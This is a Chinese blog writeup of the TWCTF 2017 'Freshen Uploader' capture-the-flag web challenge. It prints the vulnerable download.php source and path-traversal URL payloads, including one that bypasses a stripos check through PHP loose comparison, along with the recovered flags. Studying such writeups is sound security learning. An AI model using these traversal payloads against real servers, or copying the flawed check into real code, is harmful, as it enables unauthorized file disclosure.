Chybeta

TWCTF 2017-Freshen Uploader-writeup

TWCTF 2017-Freshen Uploader-writeup
任意文件读取漏洞。php弱类型比较。

Task

1
2
In this year, we stopped using Windows so you can't use DOS tricks!
http://fup.chal.ctf.westerns.tokyo/

Solution

该题有两个flag。

有下载功能,比如点击第一个download后,链接为:

1
http://fup.chal.ctf.westerns.tokyo/download.php?f=6a92b449761226434f5fce6c8e87295a

这里存在任意文件读取漏洞。访问:

1
http://fup.chal.ctf.westerns.tokyo/download.php?f=../download.php

得到download.php的源代码和第一个flag:

1
TWCTF{then_can_y0u_read_file_list?}

file_list是什么东西?我们读取一下index.php看看:

根据第一个flag,我们可以猜测第二个flag藏在file_list.php中。但直接读取是不行的,因为download.php的源码用stripos做了检测:

1
2
3
4
5
6
7
<?php
// TWCTF{then_can_y0u_read_file_list?}
$filename = $_GET['f'];
if(stripos($filename, 'file_list') != false) die();
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename='$filename'");
readfile("uploads/$filename");

仔细看一下判断语句:

1
if(stripos($filename, 'file_list') != false) die();

strpos(str1,str2)返回字符串str2在字符串str1中的位置。如果$filenamefile_list开头,则stripos($filename, 'file_list')会返回0,而采用的是!=,也就是说可能存在弱类型比较问题:0 == false

绕过了stripos,怎么读取file_list文件?构造payload:

1
http://fup.chal.ctf.westerns.tokyo/download.php?f=file_list/../../file_list.php

这样它会把第一个file_list当成文件夹,之后用两个../返回上一层文件夹,并最终读取到file_list.php。

访问:

1
http://fup.chal.ctf.westerns.tokyo/download.php?f=flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213

第二个flag:

1
TWCTF{php_is_very_secure}

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:TWCTF 2017-Freshen Uploader-writeup

文章作者:chybeta

发布时间:2017年09月02日 - 10:09

最后更新:2017年09月03日 - 22:09

原始链接:http://chybeta.github.io/2017/09/02/TWCTF-2017-Freshen-Uploader-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。